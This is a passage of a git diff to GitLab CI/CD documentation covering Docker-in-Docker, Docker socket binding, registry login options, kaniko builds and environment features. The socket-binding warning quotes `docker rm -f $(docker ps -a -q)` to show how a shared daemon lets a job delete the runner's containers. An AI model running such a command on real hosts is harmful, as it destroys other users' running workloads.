+ [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), update the
+ [`values.yml` file](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/00c1a2098f303dffb910714752e9a981e119f5b5/values.yaml#L133-137)
+ to specify a volume mount.
+
+ ```yaml
+ runners:
+ config: |
+ [[runners]]
+ [runners.kubernetes]
+ image = "ubuntu:20.04"
+ privileged = true
+ [[runners.kubernetes.volumes.empty_dir]]
+ name = "docker-certs"
+ mount_path = "/certs/client"
+ medium = "Memory"
+ ```
+
+1. You can now use `docker` in the build script (note the inclusion of the
+ `docker:19.03.13-dind` service):
+
+ ```yaml
+ image: docker:19.03.13
+
+ variables:
+ # When using dind service, we need to instruct docker to talk with
+ # the daemon started inside of the service. The daemon is available
+ # with a network connection instead of the default
+ # /var/run/docker.sock socket.
+ DOCKER_HOST: tcp://docker:2376
+ #
+ # The 'docker' hostname is the alias of the service container as described at
+ # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services.
# If you're using GitLab Runner 12.7 or earlier with the Kubernetes executor and Kubernetes 1.6 or earlier,
# the variable must be set to tcp://localhost:2376 because of how the
# Kubernetes executor connects services to the job container
@@ -227,9 +283,14 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss
# `/certs/client` that will be shared between the service and job
# container, thanks to volume mount from config.toml
DOCKER_TLS_CERTDIR: "/certs"
+ # These are usually specified by the entrypoint, however the
+ # Kubernetes executor doesn't run entrypoints
+ # https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4125
+ DOCKER_TLS_VERIFY: 1
+ DOCKER_CERT_PATH: "$DOCKER_TLS_CERTDIR/client"
services:
- - docker:19.03.12-dind
+ - docker:19.03.13-dind
before_script:
- docker info
@@ -302,6 +363,90 @@ build:
- docker run my-docker-image /script/to/run/tests
```
+#### Use Docker socket binding
+
+The third approach is to bind-mount `/var/run/docker.sock` into the
+container so that Docker is available in the context of that image.
+
+NOTE:
+If you bind the Docker socket and you are
+[using GitLab Runner 11.11 or later](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261),
+you can no longer use `docker:19.03.12-dind` as a service. Volume bindings
+are done to the services as well, making these incompatible.
+
+To make Docker available in the context of the image:
+
+1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/).
+1. From the command line, register a runner with the `docker` executor and share `/var/run/docker.sock`:
+
+ ```shell
+ sudo gitlab-runner register -n \
+ --url https://gitlab.com/ \
+ --registration-token REGISTRATION_TOKEN \
+ --executor docker \
+ --description "My Docker Runner" \
+ --docker-image "docker:19.03.12" \
+ --docker-volumes /var/run/docker.sock:/var/run/docker.sock
+ ```
+
+ This command registers a new runner to use the special
+ `docker:19.03.12` image, which is provided by Docker. **The command uses
+ the Docker daemon of the runner itself. Any containers spawned by Docker
+ commands are siblings of the runner rather than children of the runner.**
+ This may have complications and limitations that are unsuitable for your workflow.
+
+ Your `config.toml` file should not have an entry like this:
+
+ ```toml
+ [[runners]]
+ url = "https://gitlab.com/"
+ token = REGISTRATION_TOKEN
+ executor = "docker"
+ [runners.docker]
+ tls_verify = false
+ image = "docker:19.03.12"
+ privileged = false
+ disable_cache = false
+ volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"]
+ [runners.cache]
+ Insecure = false
+ ```
+
+1. Use `docker` in the build script. You don't need to
+ include the `docker:19.03.12-dind` service, like you do when you're using
+ the Docker-in-Docker executor:
+
+ ```yaml
+ image: docker:19.03.12
+
+ before_script:
+ - docker info
+
+ build:
+ stage: build
+ script:
+ - docker build -t my-docker-image .
+ - docker run my-docker-image /script/to/run/tests
+ ```
+
+This method avoids using Docker in privileged mode. However,
+the implications of this method are:
+
+- By sharing the Docker daemon, you are effectively disabling all
+ the security mechanisms of containers and exposing your host to privilege
+ escalation, which can lead to container breakout. For example, if a project
+ ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner
+ containers.
+- Concurrent jobs may not work; if your tests
+ create containers with specific names, they may conflict with each other.
+- Sharing files and directories from the source repository into containers may not
+ work as expected. Volume mounting is done in the context of the host
+ machine, not the build container. For example:
+
+ ```shell
+ docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests
+ ```
+
#### Enable registry mirror for `docker:dind` service
When the Docker daemon starts inside of the service container, it uses
@@ -381,7 +526,7 @@ content:
Update the `config.toml` file to mount the file to
`/etc/docker/daemon.json`. This would mount the file for **every**
-container that is created by GitLab Runner. The configuration will be
+container that is created by GitLab Runner. The configuration is
picked up by the `dind` service.
```toml
@@ -422,7 +567,7 @@ of this file. You can do this with a command like:
kubectl create configmap docker-daemon --namespace gitlab-runner --from-file /tmp/daemon.json
```
-NOTE: **Note:**
+NOTE:
Make sure to use the namespace that GitLab Runner Kubernetes executor uses
to create job pods in.
@@ -444,89 +589,146 @@ The configuration is picked up by the `dind` service.
sub_path = "daemon.json"
```
-#### Use Docker socket binding
+## Authenticating with registry in Docker-in-Docker
-The third approach is to bind-mount `/var/run/docker.sock` into the
-container so that Docker is available in the context of that image.
+When you use Docker-in-Docker, the [normal authentication
+methods](using_docker_images.html#define-an-image-from-a-private-container-registry)
+won't work because a fresh Docker daemon is started with the service.
-NOTE: **Note:**
-If you bind the Docker socket [when using GitLab Runner 11.11 or
-newer](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261),
-you can no longer use `docker:19.03.12-dind` as a service because volume bindings
-are done to the services as well, making these incompatible.
+### Option 1: Run `docker login`
-In order to do that, follow the steps:
+In [`before_script`](../yaml/README.md#before_script) run `docker
+login`:
-1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/).
-1. Register GitLab Runner from the command line to use `docker` and share `/var/run/docker.sock`:
+```yaml
+image: docker:19.03.13
- ```shell
- sudo gitlab-runner register -n \
- --url https://gitlab.com/ \
- --registration-token REGISTRATION_TOKEN \
- --executor docker \
- --description "My Docker Runner" \
- --docker-image "docker:19.03.12" \
- --docker-volumes /var/run/docker.sock:/var/run/docker.sock
- ```
+variables:
+ DOCKER_TLS_CERTDIR: "/certs"
- The above command registers a new runner to use the special
- `docker:19.03.12` image which is provided by Docker. **Notice that it's using
- the Docker daemon of the runner itself, and any containers spawned by Docker
- commands are siblings of the runner rather than children of the runner.**
- This may have complications and limitations that are unsuitable for your workflow.
+services:
+ - docker:19.03.13-dind
- The above command creates a `config.toml` entry similar to this:
+build:
+ stage: build
+ before_script:
+ - echo "$DOCKER_REGISTRY_PASS" | docker login $DOCKER_REGISTRY --username $DOCKER_REGISTRY_USER --password-stdin
+ script:
+ - docker build -t my-docker-image .
+ - docker run my-docker-image /script/to/run/tests
+```
- ```toml
- [[runners]]
- url = "https://gitlab.com/"
- token = REGISTRATION_TOKEN
- executor = "docker"
- [runners.docker]
- tls_verify = false
- image = "docker:19.03.12"
- privileged = false
- disable_cache = false
- volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"]
- [runners.cache]
- Insecure = false
- ```
+To log in to Docker Hub, leave `$DOCKER_REGISTRY`
+empty or remove it.
-1. You can now use `docker` in the build script (note that you don't need to
- include the `docker:19.03.12-dind` service as when using the Docker in Docker
- executor):
+### Option 2: Mount `~/.docker/config.json` on each job
- ```yaml
- image: docker:19.03.12
+If you are an administrator for GitLab Runner, you can mount a file
+with the authentication configuration to `~/.docker/config.json`.
+Then every job that the runner picks up will be authenticated already. If you
+are using the official `docker:19.03.13` image, the home directory is
+under `/root`.
- before_script:
- - docker info
+If you mount the configuration file, any `docker` command
+that modifies the `~/.docker/config.json` (for example, `docker login`)
+fails, because the file is mounted as read-only. Do not change it from
+read-only, because other problems will occur.
- build:
- stage: build
- script:
- - docker build -t my-docker-image .
- - docker run my-docker-image /script/to/run/tests
- ```
+Here is an example of `/opt/.docker/config.json` that follows the
+[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data)
+documentation:
-While the above method avoids using Docker in privileged mode, you should be
-aware of the following implications:
+```json
+{
+ "auths": {
+ "https://index.docker.io/v1/": {
+ "auth": "bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ="
+ }
+ }
+}
+```
-- By sharing the Docker daemon, you are effectively disabling all
- the security mechanisms of containers and exposing your host to privilege
- escalation which can lead to container breakout. For example, if a project
- ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner
- containers.
-- Concurrent jobs may not work; if your tests
- create containers with specific names, they may conflict with each other.
-- Sharing files and directories from the source repository into containers may not
- work as expected since volume mounting is done in the context of the host
- machine, not the build container. For example:
+#### Docker
- ```shell
- docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests
- ```
+Update the [volume
+mounts](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section)
+to include the file.
+
+```toml
+[[runners]]
+ ...
+ executor = "docker"
+ [runners.docker]
+ ...
+ privileged = true
+ volumes = ["/opt/.docker/config.json:/root/.docker/config.json:ro"]
+```
+
+#### Kubernetes
+
+Create a [ConfigMap](https://kubernetes.io/docs/concepts/configuration/configmap/) with the content
+of this file. You can do this with a command like:
+
+```shell
+kubectl create configmap docker-client-config --namespace gitlab-runner --from-file /opt/.docker/config.json
+```
+
+Update the [volume
+mounts](https://docs.gitlab.com/runner/executors/kubernetes.html#using-volumes)
+to include the file.
+
+```toml
+[[runners]]
+ ...
+ executor = "kubernetes"
+ [runners.kubernetes]
+ image = "alpine:3.12"
+ privileged = true
+ [[runners.kubernetes.volumes.config_map]]
+ name = "docker-client-config"
+ mount_path = "/root/.docker/config.json"
+ # If you are running GitLab Runner 13.5
+ # or lower you can remove this
+ sub_path = "config.json"
+```
+
+### Option 3: Use `DOCKER_AUTH_CONFIG`
+
+If you already have
+[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data)
+defined, you can use the variable and save it in
+`~/.docker/config.json`.
+
+There are multiple ways to define this. For example:
+
+- Inside
+ [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
+ inside of the runner configuration file.
+- Inside [`before_script`](../yaml/README.md#before_script).
+- Inside of [`script`](../yaml/README.md#script).
+
+Below is an example of
+[`before_script`](../yaml/README.md#before_script). The same commands
+apply for any solution you implement.
+
+```yaml
+image: docker:19.03.13
+
+variables:
+ DOCKER_TLS_CERTDIR: "/certs"
+
+services:
+ - docker:19.03.13-dind
+
+build:
+ stage: build
+ before_script:
+ - mkdir -p $HOME/.docker
+ - echo $DOCKER_AUTH_CONFIG > $HOME/.docker/config.json
+ script:
+ - docker build -t my-docker-image .
+ - docker run my-docker-image /script/to/run/tests
+```
## Making Docker-in-Docker builds faster with Docker layer caching
@@ -586,7 +788,7 @@ The steps in the `script` section for the `build` stage can be summed up to:
## Use the OverlayFS driver
-NOTE: **Note:**
+NOTE:
The shared runners on GitLab.com use the `overlay2` driver by default.
By default, when using `docker:dind`, Docker uses the `vfs` storage driver which
diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md
index b8563182bd9..7171269cf2d 100644
--- a/doc/ci/docker/using_docker_images.md
+++ b/doc/ci/docker/using_docker_images.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md
index f9b09bada14..13d3c607f8a 100644
--- a/doc/ci/docker/using_kaniko.md
+++ b/doc/ci/docker/using_kaniko.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -37,8 +37,8 @@ few important details:
- The kaniko debug image is recommended (`gcr.io/kaniko-project/executor:debug`)
because it has a shell, and a shell is required for an image to be used with
GitLab CI/CD.
-- The entrypoint will need to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image),
- otherwise the build script will not run.
+- The entrypoint needs to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image),
+ otherwise the build script doesn't run.
- A Docker `config.json` file needs to be created with the authentication
information for the desired container registry.
@@ -47,7 +47,7 @@ In the following example, kaniko is used to:
1. Build a Docker image.
1. Then push it to [GitLab Container Registry](../../user/packages/container_registry/index.md).
-The job will run only when a tag is pushed. A `config.json` file is created under
+The job runs only when a tag is pushed. A `config.json` file is created under
`/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the
[environment variables](../variables/README.md#predefined-environment-variables)
GitLab CI/CD provides.
@@ -66,8 +66,8 @@ build:
- mkdir -p /kaniko/.docker
- echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json
- /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG
- only:
- - tags
+ rules:
+ - if: $CI_COMMIT_TAG
```
## Using a registry with a custom certificate
@@ -106,14 +106,10 @@ Guided Exploration project pipeline. It was tested on:
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.
-<!-- ## Troubleshooting
+## Troubleshooting
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
+### 403 error: "error checking push permissions"
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+If you receive this error, it might be due to an outside proxy. Setting the `http_proxy`
+and `https_proxy` [environment variables](../../administration/packages/container_registry.md#running-the-docker-daemon-with-a-proxy)
+can fix the problem.
diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md
index 8b88ec509e7..f59e32fb46d 100644
--- a/doc/ci/enable_or_disable_ci.md
+++ b/doc/ci/enable_or_disable_ci.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -31,7 +31,7 @@ either:
- Site-wide by modifying the settings in `gitlab.yml` and `gitlab.rb` for source
and Omnibus installations respectively.
-This only applies to pipelines run as part of GitLab CI/CD. This will not enable or disable
+This only applies to pipelines run as part of GitLab CI/CD. This doesn't enable or disable
pipelines that are run from an [external integration](../user/project/integrations/overview.md#integrations-listing).
## Per-project user setting
@@ -42,7 +42,7 @@ To enable or disable GitLab CI/CD Pipelines in your project:
1. Expand the **Repository** section
1. Enable or disable the **Pipelines** toggle as required.
-**Project visibility** will also affect pipeline visibility. If set to:
+**Project visibility** also affects pipeline visibility. If set to:
- **Private**: Only project members can access pipelines.
- **Internal** or **Public**: Pipelines can be set to either **Only Project Members**
@@ -57,9 +57,9 @@ for source installations, and `gitlab.rb` for Omnibus installations.
Two things to note:
-- Disabling GitLab CI/CD, will affect only newly-created projects. Projects that
- had it enabled prior to this modification, will work as before.
-- Even if you disable GitLab CI/CD, users will still be able to enable it in the
+- Disabling GitLab CI/CD affects only newly-created projects. Projects that
+ had it enabled prior to this modification work as before.
+- Even if you disable GitLab CI/CD, users can still enable it in the
project's settings.
For installations from source, open `gitlab.yml` with your editor and set
diff --git a/doc/ci/environments.md b/doc/ci/environments.md
index b1dc9af6b5b..2ce0618c8e7 100644
--- a/doc/ci/environments.md
+++ b/doc/ci/environments.md
@@ -3,3 +3,6 @@ redirect_to: 'environments/index.md'
---
This document was moved to [another location](environments/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index 99f7d5d07a5..95419e58d36 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Deployment safety
diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md
index 931e5512e9e..84f8b1b1dbf 100644
--- a/doc/ci/environments/environments_dashboard.md
+++ b/doc/ci/environments/environments_dashboard.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/ci/environments/incremental_rollouts.md b/doc/ci/environments/incremental_rollouts.md
index 06661e03001..81acc3a36e9 100644
--- a/doc/ci/environments/incremental_rollouts.md
+++ b/doc/ci/environments/incremental_rollouts.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md
index 361b7217d17..c755a954164 100644
--- a/doc/ci/environments/index.md
+++ b/doc/ci/environments/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
disqus_identifier: 'https://docs.gitlab.com/ee/ci/environments.html'
---
@@ -121,7 +121,7 @@ Note that the `environment` keyword defines where the app is deployed. The envir
`url` is exposed in various places within GitLab. Each time a job that has an environment specified
succeeds, a deployment is recorded along with the Git SHA and environment name.
-CAUTION: **Caution:**
+WARNING:
Some characters are not allowed in environment names. Use only letters,
numbers, spaces, and `-`, `_`, `/`, `{`, `}`, or `.`. Also, it must not start nor end with `/`.
@@ -279,7 +279,7 @@ deploy_prod:
The `when: manual` action:
-- Exposes a "play" button in GitLab's UI for that job.
+- Exposes a "play" button in the GitLab UI for that job.
- Means the `deploy_prod` job will only be triggered when the "play" button is clicked.
You can find the "play" button in the pipelines, environments, deployments, and jobs views.
@@ -386,7 +386,7 @@ If you are deploying to a [Kubernetes cluster](../../user/project/clusters/index
associated with your project, you can configure these deployments from your
`gitlab-ci.yml` file.
-NOTE: **Note:**
+NOTE:
Kubernetes configuration isn't supported for Kubernetes clusters that are
[managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters).
To follow progress on support for GitLab-managed clusters, see the
@@ -413,7 +413,7 @@ deploy:
- master
```
-When deploying to a Kubernetes cluster using GitLab's Kubernetes integration,
+When deploying to a Kubernetes cluster using the GitLab Kubernetes integration,
information about the cluster and namespace will be displayed above the job
trace on the deployment job page:
@@ -648,7 +648,7 @@ For example:
#### Going from source files to public pages
-With GitLab's [Route Maps](../review_apps/index.md#route-maps) you can go directly
+With GitLab [Route Maps](../review_apps/index.md#route-maps), you can go directly
from source files to public pages in the environment set for Review Apps.
### Stopping an environment
@@ -894,6 +894,32 @@ longer visible on the environment page.
If the alert requires a [rollback](#retrying-and-rolling-back), you can select the
deployment tab from the environment page and select which deployment to roll back to.
+#### Auto Rollback **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35404) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7.
+
+In a typical Continuous Deployment workflow, the CI pipeline tests every commit before deploying to
+production. However, problematic code can still make it to production. For example, inefficient code
+that is logically correct can pass tests even though it causes severe performance degradation.
+Operators and SREs monitor the system to catch such problems as soon as possible. If they find a
+problematic deployment, they can roll back to a previous stable version.
+
+GitLab Auto Rollback eases this workflow by automatically triggering a rollback when a
+[critical alert](../../operations/incident_management/alerts.md)
+is detected. GitLab selects and redeploys the most recent successful deployment.
+
+Limitations of GitLab Auto Rollback:
+
+- The rollback is skipped if a deployment is running when the alert is detected.
+- A rollback can happen only once in three minutes. If multiple alerts are detected at once, only
+ one rollback is performed.
+
+GitLab Auto Rollback is turned off by default. To turn it on:
+
+1. Visit **Project > Settings > CI/CD > Automatic deployment rollbacks**.
+1. Select the checkbox for **Enable automatic rollbacks**.
+1. Click **Save changes**.
+
### Monitoring environments
If you have enabled [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md),
@@ -1040,7 +1066,7 @@ Below are some links you may find interesting:
- [The `.gitlab-ci.yml` definition of environments](../yaml/README.md#environment)
- [A blog post on Deployments & Environments](https://about.gitlab.com/blog/2016/08/26/ci-deployment-and-environments/)
- [Review Apps - Use dynamic environments to deploy your code for every branch](../review_apps/index.md)
-- [Deploy Boards for your applications running on Kubernetes](../../user/project/deploy_boards.md) **(PREMIUM)**
+- [Deploy Boards for your applications running on Kubernetes](../../user/project/deploy_boards.md)
<!-- ## Troubleshooting
diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md
index eeb95947ba1..94f9aac51d6 100644
--- a/doc/ci/environments/protected_environments.md
+++ b/doc/ci/environments/protected_environments.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -20,7 +20,7 @@ specific environments are "protected" to prevent unauthorized people from affect
By default, a protected environment does one thing: it ensures that only people
with the right privileges can deploy to it, thus keeping it safe.
-NOTE: **Note:**
+NOTE:
A GitLab admin is always allowed to use environments, even if they are protected.
To protect, update, or unprotect an environment, you need to have at least
diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md
index 1abb33005ca..e728941dd9d 100644
--- a/doc/ci/examples/README.md
+++ b/doc/ci/examples/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
---
@@ -41,8 +41,9 @@ The following table lists examples with step-by-step tutorials that are containe
| Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](test-and-deploy-ruby-application-to-heroku.md). |
| Scala on Heroku | [Test and deploy a Scala application to Heroku](test-scala-application.md). |
| Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). |
-| Secrets management with Vault | [Authenticating and Reading Secrets With Hashicorp Vault](authenticating-with-hashicorp-vault/index.md). |
-| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). |
+| Secrets management with Vault | [Authenticating and Reading Secrets With Hashicorp Vault](authenticating-with-hashicorp-vault/index.md). |
+| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). |
+| NPM with semantic-release | [Publish NPM packages to the GitLab Package Registry using semantic-release](semantic-release.md). |
### Contributing examples
@@ -90,7 +91,7 @@ choose one of these templates:
- [Rust (`Rust.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml)
- [Scala (`Scala.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml)
- [Swift (`Swift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml)
-- [Terraform (`Terraform.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml)
+- [Terraform (`Terraform.latest.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml)
If a programming language or framework template is not in this list, you can contribute
one. To create a template, submit a merge request
diff --git a/doc/ci/examples/artifactory_and_gitlab/index.md b/doc/ci/examples/artifactory_and_gitlab/index.md
index e2ee05923cd..e37bdcc9407 100644
--- a/doc/ci/examples/artifactory_and_gitlab/index.md
+++ b/doc/ci/examples/artifactory_and_gitlab/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/articles/artifactory_and_gitlab/index.html'
type: tutorial
---
@@ -34,7 +34,7 @@ For this article you'll use a Maven app that can be cloned from our example
project:
1. Log in to your GitLab account
-1. Create a new project by selecting **Import project from âž” Repo by URL**
+1. Create a new project by selecting **Import project from > Repo by URL**
1. Add the following URL:
```plaintext
diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
index c0fb94acdf2..b7f59761889 100644
--- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
+++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -9,7 +9,7 @@ type: tutorial
This tutorial demonstrates how to authenticate, configure, and read secrets with HashiCorp's Vault from GitLab CI/CD.
-NOTE: **Note:**
+NOTE:
[GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a
Hashicorp Vault, and enables you to
[use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job).
@@ -25,7 +25,7 @@ To follow along, you will need:
- A running Vault server and access to it is required to configure authentication and create roles
and policies. For HashiCorp Vaults, this can be the Open Source or Enterprise version.
-NOTE: **Note:**
+NOTE:
You will need to replace the `vault.example.com` URL below with the URL of your Vault server and `gitlab.example.com` with the URL of your GitLab instance.
## How it works
@@ -66,7 +66,7 @@ To communicate with Vault, you can use either its CLI client or perform API requ
## Example
-CAUTION: **Caution:**
+WARNING:
JWTs are credentials, which can grant access to resources. Be careful where you paste them!
Let's say you have the passwords for your staging and production databases stored in a Vault server that is running on `http://vault.example.com:8200`. Your staging password is `pa$$w0rd` and your production password is `real-pa$$w0rd`.
@@ -152,7 +152,7 @@ EOF
This example uses [bound_claims](https://www.vaultproject.io/api/auth/jwt#bound_claims) to specify that only a JWT with matching values for the specified claims will be allowed to authenticate.
-Combined with GitLab's [protected branches](../../../user/project/protected_branches.md), you can restrict who is able to authenticate and read the secrets.
+Combined with [protected branches](../../../user/project/protected_branches.md), you can restrict who is able to authenticate and read the secrets.
[token_explicit_max_ttl](https://www.vaultproject.io/api/auth/jwt#token_explicit_max_ttl) specifies that the token issued by Vault, upon successful authentication, has a hard lifetime limit of 60 seconds.
@@ -162,7 +162,7 @@ Combined with GitLab's [protected branches](../../../user/project/protected_bran
For the full list of options, see Vault's [Create Role documentation](https://www.vaultproject.io/api/auth/jwt#create-role).
-CAUTION: **Caution:**
+WARNING:
Always restrict your roles to project or namespace by using one of the provided claims (e.g. `project_id` or `namespace_id`). Otherwise any JWT generated by this instance may be allowed to authenticate using this role.
Now, configure the JWT Authentication method:
diff --git a/doc/ci/examples/browser_performance.md b/doc/ci/examples/browser_performance.md
index 4a73fe2e62c..131a539499d 100644
--- a/doc/ci/examples/browser_performance.md
+++ b/doc/ci/examples/browser_performance.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/browser_performance_testing.md#c
---
This document was moved to [another location](../../user/project/merge_requests/browser_performance_testing.md#configuring-browser-performance-testing).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/code_climate.md b/doc/ci/examples/code_climate.md
index 0aa108a2e73..2b7b2574ef7 100644
--- a/doc/ci/examples/code_climate.md
